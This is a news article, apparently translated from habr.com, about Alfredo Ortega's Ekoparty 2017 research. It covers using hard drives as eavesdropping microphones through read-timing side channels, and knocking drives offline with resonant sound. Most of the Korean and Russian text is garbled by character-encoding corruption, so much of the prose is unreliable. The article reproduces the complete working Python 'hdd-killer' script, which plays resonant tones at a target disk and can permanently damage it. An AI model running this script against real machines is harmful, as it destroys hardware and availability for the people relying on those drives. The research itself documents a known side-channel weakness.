
๋ถ์๋ ธ์ค์์ด๋ ์ค์์ ์ด๋ฆฐ Ekoparty 2017 ์ปดํจํฐ ๋ณด์ ์ปจํผ๋ฐ์ค์์ ์๋ฅดํจํฐ๋ ํด์ปค Alfredo Ortega๋ ๋ง์ดํฌ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ๊ฑด๋ฌผ์ ์๋ฐํ๊ฒ ๋์ฒญํ๋ ์์คํ ์ด๋ผ๋ ๋งค์ฐ ํฅ๋ฏธ๋ก์ด ๊ฐ๋ฐ์ ๋ณด์ฌ์ฃผ์์ต๋๋ค. ์๋ฆฌ !
HDD๋ ์ฃผ๋ก ๊ณ ๊ฐ๋ ์ ์ฃผํ ์๋ฆฌ, ๋ฐ์๊ตญ ์๋ฆฌ ๋ฐ ๊ธฐํ ์ง๋์ ํฌ์ฐฉํฉ๋๋ค. ์ธ๊ฐ์ ๋ง์ ์์ง ์ธ์ํ ์ ์์ต๋๋ค. (์๋ฅผ ๋ค์ด ์์ด๋ก์ค์ฝํ๋ HDD์์ ๋
น์๋ ์ ์ฃผํ ์ง๋์ ํตํ ์์ฑ ์ธ์)
์๋ฆฌ๋ ๊ณต๊ธฐ๋ ๋ค๋ฅธ ๋งค์ฒด์ ์ง๋์
๋๋ค. ์ฌ๋์ ์ง๋์ ๋ด์ด๋ก ์ ๋ฌํ๋ ๊ณ ๋ง์ ํตํด ์ด๋ฅผ ๊ฐ์งํฉ๋๋ค. ๋ง์ดํฌ๋ ๋๋ต ๊ท์ฒ๋ผ ์ค๊ณ๋์์ต๋๋ค. ์ฌ๊ธฐ์์๋ ์ง๋์ด ์์ ๋ง์ ๋
น์๋์ด ์ ๊ธฐ ์ถฉ๊ฒฉ์ ์๊ทนํฉ๋๋ค. ๋ฌผ๋ก ํ๋ ๋๋ผ์ด๋ธ๋ ์ฃผ๋ณ ๊ณต๊ธฐ์ ๋ณ๋์ผ๋ก ์ธํด ๋ฏธ์ธํ ์ง๋์ ๋ฐ๊ธฐ๋ ํฉ๋๋ค. ์ด๋ HDD์ ๊ธฐ์ ์ ํน์ฑ์ ํตํด์๋ ์๋ ค์ ธ ์์ต๋๋ค. ์ ์กฐ์
์ฒด๋ ์ผ๋ฐ์ ์ผ๋ก ํ์ฉ๋๋ ์ต๋ ์ง๋ ์์ค์ ํ์ํ๋ฉฐ ํ๋ ๋๋ผ์ด๋ธ ์์ฒด๋ ์ข
์ข
์ด๋ฅผ ๊ณ ๋ฌด ๋๋ ๊ธฐํ ์ ์ฐ ์ฌ๋ฃ๋ก ๋ง๋ ๋ฐฉ์ง ์ฉ๊ธฐ์ ๋ฃ์ผ๋ ค๊ณ ํฉ๋๋ค. ์ด๊ฒ์ผ๋ก HDD๋ฅผ ์ฌ์ฉํ์ฌ ์๋ฆฌ๋ฅผ ๋
น์ํ ์ ์๋ค๋ ๊ฒฐ๋ก ์ ๋ด๋ฆฌ๊ธฐ ์ฝ์ต๋๋ค. ๋จ์ ๊ฒ์ ๋ฐฉ๋ฒ์ ์์๋ด๋ ๊ฒ๋ฟ์
๋๋ค.
Alfredo Ortega๋ ์ฌ์ด๋ ์ฑ๋ ๊ณต๊ฒฉ์ ๋ ํนํ ๋ฒ์ , ์ฆ ์๊ฐ ๊ณต๊ฒฉ์ ์ ์ํ์ต๋๋ค. ์ด ๊ณต๊ฒฉ์ ์ฃผ์ด์ง ์ ๋ ฅ ๋ฐ์ดํฐ์ ๋ฐ๋ผ ์ฅ์น์์ ์๋ก ๋ค๋ฅธ ์์ ์ด ์๋ก ๋ค๋ฅธ ์๊ฐ์ ์ํ๋๋ค๋ ๊ฐ์ ์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ์ด ๊ฒฝ์ฐ "์ ๋ ฅ ๋ฐ์ดํฐ"๋ ์ฝ๊ธฐ ํค๋์ HDD ํ๋ํฐ์ ์ง๋์ด๋ฉฐ, ์ด๋ ํ๊ฒฝ์ ์ง๋, ์ฆ ์๋ฆฌ์ ๊ด๋ จ์ด ์์ต๋๋ค. ๋ฐ๋ผ์ ๊ณ์ฐ ์๊ฐ์ ์ธก์ ํ๊ณ ๋ฐ์ดํฐ์ ํต๊ณ์ ๋ถ์์ ์ํํจ์ผ๋ก์จ ํค๋/ํ๋ํฐ์ ์ง๋๊ณผ ๊ทธ์ ๋ฐ๋ฅธ ๋งค์ฒด์ ์ง๋์ ์ธก์ ํ ์ ์์ต๋๋ค. ๋ฐ์ดํฐ ์ฝ๊ธฐ ์ง์ฐ ์๊ฐ์ด ๊ธธ์ด์ง์๋ก HDD์ ์ง๋์ด ๊ฐํด์ง๊ธฐ ๋๋ฌธ์ ์๋ฆฌ๋ ์ปค์ง๋๋ค.
ํ๋ ๋๋ผ์ด๋ธ ์ง๋์ ์ธก์ ํ๋ ๋ฐฉ๋ฒ์ ๋ฌด์์
๋๊น? ๋งค์ฐ ๊ฐ๋จํฉ๋๋ค. ์์คํ
ํธ์ถ๋ง ์คํํ๋ฉด ๋ฉ๋๋ค. read () - ์๋ฃํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ๊ธฐ๋กํฉ๋๋ค. ์ต์ ์ด์ ์ฒด์ ๋ฅผ ์ฌ์ฉํ๋ฉด ๋๋
ธ์ด ์ ํ๋๋ก ์์คํ
ํธ์ถ ํ์ด๋ฐ์ ์ฝ์ ์ ์์ต๋๋ค.
์นํฐ์์ ์ ๋ณด๋ฅผ ์ฝ๋ ์๋๋ ํค๋์ ํ๋ํฐ์ ์์น์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฉฐ ์ด๋ HDD ์ผ์ด์ค์ ์ง๋๊ณผ ๊ด๋ จ์ด ์์ต๋๋ค. ๊ทธ๊ฒ ๋ค์ผ.
๊ฐ๋จํ Kscope ์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ์ฌ ํต๊ณ ๋ถ์์ ์ํํฉ๋๋ค. ๊ทธ๋ค์ด ๋งํ๋ฏ์ด ๋ ์ฐฝ์ ์ธ ๋ชจ๋ ๊ฒ์ ๊ฐ๋จํฉ๋๋ค.

Kscope ์ ํธ๋ฆฌํฐ(stat() syscall)
Kscope๋ ์์คํ ํธ์ถ ์คํ ์๊ฐ์ ์์ ์ฐจ์ด๋ฅผ ์๊ฐํํ๋ ์์ ์ ํธ๋ฆฌํฐ์ ๋๋ค. ์์ฒ.
๋ณ๋์ ์ ์ฅ์์ ํ๋ ๋๋ผ์ด๋ธ์ ๋ํ ์๊ฐ ๊ณต๊ฒฉ์ ์ํด ๊ตฌ์ฑ๋ ์ ํธ๋ฆฌํฐ ๋ฒ์ ์ด ์์ต๋๋ค. ์ฆ, ์์คํ
ํธ์ถ์ ๋ถ์ํ๋๋ก ๊ตฌ์ฑ๋ ์ ํธ๋ฆฌํฐ ๋ฒ์ ์ด ์์ต๋๋ค. read ().
HDD๋ฅผ ์ด์ฉํ ์ฌ์ด๋ ๋ น์ ์์ฐ, Kscope ์ ํธ๋ฆฌํฐ ์๋

๋ฌผ๋ก ์ด๋ฐ ์์ผ๋ก ์์ฑ์ ์ดํดํ ์๋ ์์ง๋ง HDD๋ ์ง๋ ์ผ์๋ก ๋งค์ฐ ์ ํฉํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ๋ฑ๋ฑํ ์ ๋ฐ์ ์ ๊ฑฐ๋ ๋งจ๋ฐ๋ก ์ฌ๋์ด ์ปดํจํฐ๋ฅผ ๊ฐ์ง๊ณ ๋ฐฉ์ ๋ค์ด๊ฐ ๊ฒฝ์ฐ ๋ฑ๋กํ ์ ์์ต๋๋ค. (์๋ง๋ ๊ณต๊ฒฉ์๊ฐ ๋ถ๋๋ฌ์ด ์ด๋ํ๋ฅผ ์ ๊ฑฐ๋ ๋ฐ๋ฅ์ ๋๊บผ์ด ์นดํซ์ด ๊น๋ ค ์์ผ๋ฉด HDD๋ ์ง๋์ ๋ฑ๋กํ ์ ์์ต๋๋ค.) ์ด๋ ํ์ธํด ๋ณผ ๊ฐ์น๊ฐ ์์ต๋๋ค). ์ปดํจํฐ๋ ๊นจ์ง ์ ๋ฆฌ๋ ๊ธฐํ ์ฌ๊ณ ๋ฅผ ๊ฐํ ์๋ฆฌ ๊ฐ๋๋ก ๋ฑ๋กํ ์ ์์ต๋๋ค. ์ฆ, ํ๋ ๋๋ผ์ด๋ธ๋ ์ผ์ข ์ ๋ฌด๋จ ์นจ์ ํ์ง ์์คํ ์ญํ ์ ํ ์ ์์ต๋๋ค.
HDD ํฌ๋ฌ
ะััะฐัะธ, ัั ะพะถัั ัะตั ะฝะธะบั ะผะพะถะฝะพ ะธัะฟะพะปัะทะพะฒะฐัั ะดะปั ะฒัะฒะตะดะตะฝะธั ะธะท ัััะพั ะถัััะบะธั ะดะธัะบะพะฒ. ะขะพะปัะบะพ ะทะดะตัั ะผั ะฝะต ัะฝะธะผะฐะตะผ ะบะพะปะตะฑะฐะฝะธั ั HDD, ะฐ ะฝะฐะพะฑะพัะพั โ ะณะตะฝะตัะธััะตะผ ะบะพะปะตะฑะฐะฝะธั, ะบะพัะพััะต ะฟะพะดะฐัััั ะฝะฐ HDD. ะัะปะธ ะฒะพัะฟัะพะธะทะฒะพะดะธัั ั ะบะพะปะพะฝะบะธ ะทะฒัะบ ะฝะฐ ัะฐััะพัะต, ะบะพัะพัะฐั ัะตะทะพะฝะธััะตั ั ัะฐััะพัะพะน HDD, ัะพ ัะธััะตะผะฐ ะฒัะบะพัะต ะพัะบะปััะฐะตั ััััะพะนััะฒะพ ั ะพัะธะฑะบะพะน ะฒะฒะพะดะฐ-ะฒัะฒะพะดะฐ (ัะดัะพ Linux ะฟะพะปะฝะพัััั ะพัะบะปััะฐะตั HDD ัะตัะตะท 120 ัะตะบัะฝะด). ะกะฐะผ ะถัััะบะธะน ะดะธัะบ ะผะพะถะตั ะฟะพะปััะธัั ะฝะตะพะฑัะฐัะธะผัะต ะฟะพะฒัะตะถะดะตะฝะธั.

ํต์ฌ Linux ะพัะบะปััะธะปะพ ะถัััะบะธะน ะดะธัะบ ะฟะพัะปะต 120 ัะตะบัะฝะด ะฟะพะดะฐัะธ ะทะฒัะบะฐ ะฝะฐ ัะตะทะพะฝะธััััะตะน ัะฐััะพัะต ัะตัะตะท ะดะธะฝะฐะผะธะบ USB-ะบะพะปะพะฝะบะธ Edifier r19u. ะะธะฝะฐะผะธะบ ะฒะบะปััะตะฝ ะฟัะธะผะตัะฝะพ ะฝะฐ ัะตัะฒะตััั ะผะพัะฝะพััะธ (ะผะตะฝะตะต 100 ะผะั) ะธ ัะฐัะฟะพะปะฐะณะฐะตััั ะฒ 20 ัะผ ะพั HDD, ะฝะฐะฟัะฐะฒะปะตะฝ ะฝะฐ ััะพะป ะดะปั ััะธะปะตะฝะธั ะฒะธะฑัะฐัะธะน. ะะฐะดั ะธะท HDD ํฌ๋ฌ ์์ฐ๊ณผ ํจ๊ป
HDD์ ๋ํ ์ด๋ฌํ "๊ณต๊ฒฉ"์ด ์ผ์ ์ํ์์ ์์ ํ ์ฐ์ฐํ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๊ฐ ์๋ค๋ ๊ฒ์ด ๊ถ๊ธํฉ๋๋ค. ์๋ฅผ ๋ค์ด, 2016๋ 10์ ING ์ํ ๋ฐ์ดํฐ์ผํฐ๋ ์๋ฐฉ ํ๋ จ ์ดํ XNUMX์๊ฐ ๋์ ์ด์์ ์ค๋จํด์ผ ํ์ต๋๋ค. ๊ณ ์์ ์ค๋ฆฐ๋์์ ๋ถํ์ฑ ๊ฐ์ค๊ฐ ๋ฐฉ์ถ๋๋ ํฐ ์๋ฆฌ ๋๋ฌธ์ ๋๋ค. ์๋ฆฌ๋ ๋งค์ฐ ์ปธ์ง๋ง(130dB ์ด์) ํ๋ ๋๋ผ์ด๋ธ์ ์๋ฆฌ๋ฅผ ์ง๋ฅผ ์๋ ์์ต๋๋ค. ์ด๋ก ์ธํด HDD ์ก์ธ์ค ์ง์ฐ์ด ๋์ด๋ฉ๋๋ค.
๋ฐ์ดํฐ ์ผํฐ์ ํ๋ ๋๋ผ์ด๋ธ์์ ์ธ๊ฐ์ด ๋น๋ช ์ ์ง๋ฅด๋ ๋ชจ์ต. ์ง์ฐ ์๊ฐ ์ธก์

๊ณต๋ช ํ๋ ์๋ฆฌ๋ฅผ ์์ฑํ๊ธฐ ์ํด Alfredo Ortega๋ ๋ค์๊ณผ ๊ฐ์ Python ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์ต๋๋ค. ().
์ฉ๋์ด ๋งค์ฐ ์์ผ๋ฏ๋ก ์ฌ๊ธฐ์ ์ ์ฒด ๋ด์ฉ์ ๊ฒ์ํ ์ ์์ต๋๋ค.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()์ถ์ฒ : habr.com
